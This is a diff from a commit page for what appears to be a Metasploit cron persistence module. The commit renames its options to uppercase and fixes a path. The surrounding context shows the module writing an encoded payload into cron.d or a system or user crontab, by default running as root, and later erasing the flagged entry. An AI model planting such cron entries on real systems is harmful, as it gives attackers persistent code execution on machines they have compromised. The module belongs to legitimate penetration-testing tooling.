@@ -53,9 +53,9 @@ def initialize(info = {})
53
53
54
54
register_options (
55
55
[
56
- OptString . new ( 'username ' , [ false , 'User to run cron/crontab as' , 'root' ] ) ,
57
- OptString . new ( 'timing ' , [ false , 'cron timing. Changing will require WfsDelay to be adjusted' , '* * * * *' ] ) ,
58
- OptBool . new ( 'cleanup ' , [ true , 'delete cron entry after execution' , true ] )
56
+ OptString . new ( 'USERNAME ' , [ false , 'User to run cron/crontab as' , 'root' ] ) ,
57
+ OptString . new ( 'TIMING ' , [ false , 'cron timing. Changing will require WfsDelay to be adjusted' , '* * * * *' ] ) ,
58
+ OptBool . new ( 'CLEANUP ' , [ true , 'delete cron entry after execution' , true ] )
59
59
] , self . class
60
60
)
61
61
end
@@ -68,16 +68,16 @@ def exploit
68
68
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
69
69
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
70
70
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
71
- unless datastore [ 'timing ' ] =~ %r{#{ cron_regex } }
71
+ unless datastore [ 'TIMING ' ] =~ %r{#{ cron_regex } }
72
72
fail_with ( Failure ::BadConfig , 'Invalid timing format' )
73
73
end
74
- cron_entry = datastore [ 'timing ' ]
74
+ cron_entry = datastore [ 'TIMING ' ]
75
75
if target . name =~ /User Crontab/
76
- unless user_cron_permission? ( datastore [ 'username ' ] )
76
+ unless user_cron_permission? ( datastore [ 'USERNAME ' ] )
77
77
fail_with ( Failure ::NoAccess , 'User denied cron via cron.deny' )
78
78
end
79
79
else
80
- cron_entry += " #{ datastore [ 'username ' ] } "
80
+ cron_entry += " #{ datastore [ 'USERNAME ' ] } "
81
81
end
82
82
flag = Rex ::Text . rand_text_alpha ( 10 )
83
83
cron_entry += " #{ payload . encoded } ##{ flag } " # we add a flag to the end of the entry to potentially delete it later
@@ -86,7 +86,7 @@ def exploit
86
86
our_entry = Rex ::Text . rand_text_alpha ( 10 )
87
87
write_file ( target . opts [ 'path' ] + "/#{ our_entry } " , "#{ cron_entry } \n " )
88
88
vprint_good ( "Writing #{ cron_entry } to #{ target . opts [ 'path' ] } /#{ our_entry } " )
89
- if datastore [ 'cleanup ' ]
89
+ if datastore [ 'CLEANUP ' ]
90
90
register_file_for_cleanup ( "#{ target . opts [ 'path' ] } /#{ our_entry } " )
91
91
end
92
92
when 'System Crontab'
@@ -96,7 +96,7 @@ def exploit
96
96
write_file ( file_to_clean , crontab )
97
97
vprint_good ( "Writing #{ cron_entry } to #{ file_to_clean } " )
98
98
when 'User Crontab'
99
- file_to_clean = "#{ target . opts [ 'path' ] } /crontabs/#{ datastore [ 'username ' ] } "
99
+ file_to_clean = "#{ target . opts [ 'path' ] } /crontabs/#{ datastore [ 'USERNAME ' ] } "
100
100
crontab = read_file ( file_to_clean )
101
101
crontab << "\n #{ cron_entry } \n "
102
102
write_file ( file_to_clean , crontab )
@@ -109,7 +109,7 @@ def exploit
109
109
sleep ( datastore [ 'WfsDelay' ] . to_i )
110
110
# we may need to do some cleanup, no need for cron since that uses file dropper
111
111
# we could run this on a on_successful_session, but we want cleanup even if it fails
112
- if file_to_clean && flag && datastore [ 'cleanup ' ]
112
+ if file_to_clean && flag && datastore [ 'CLEANUP ' ]
113
113
print_status ( "Removing our cron entry from #{ file_to_clean } " )
114
114
cmd_exec ( "perl -pi -e 's/.*#{ flag } $//g' #{ file_to_clean } " )
115
115
if target . name == 'User Crontab' # make sure we clean out of memory
@@ -121,7 +121,7 @@ def exploit
121
121
def user_cron_permission? ( user )
122
122
# double check we're allowed to do cron
123
123
# may also be /etc/cron.d/
124
- paths = [ '/etc/' , '/etc/cron.d' ]
124
+ paths = [ '/etc/' , '/etc/cron.d/ ' ]
125
125
paths . each do |path |
126
126
cron_auth = read_file ( "#{ path } cron.allow" )
127
127
if cron_auth
0 commit comments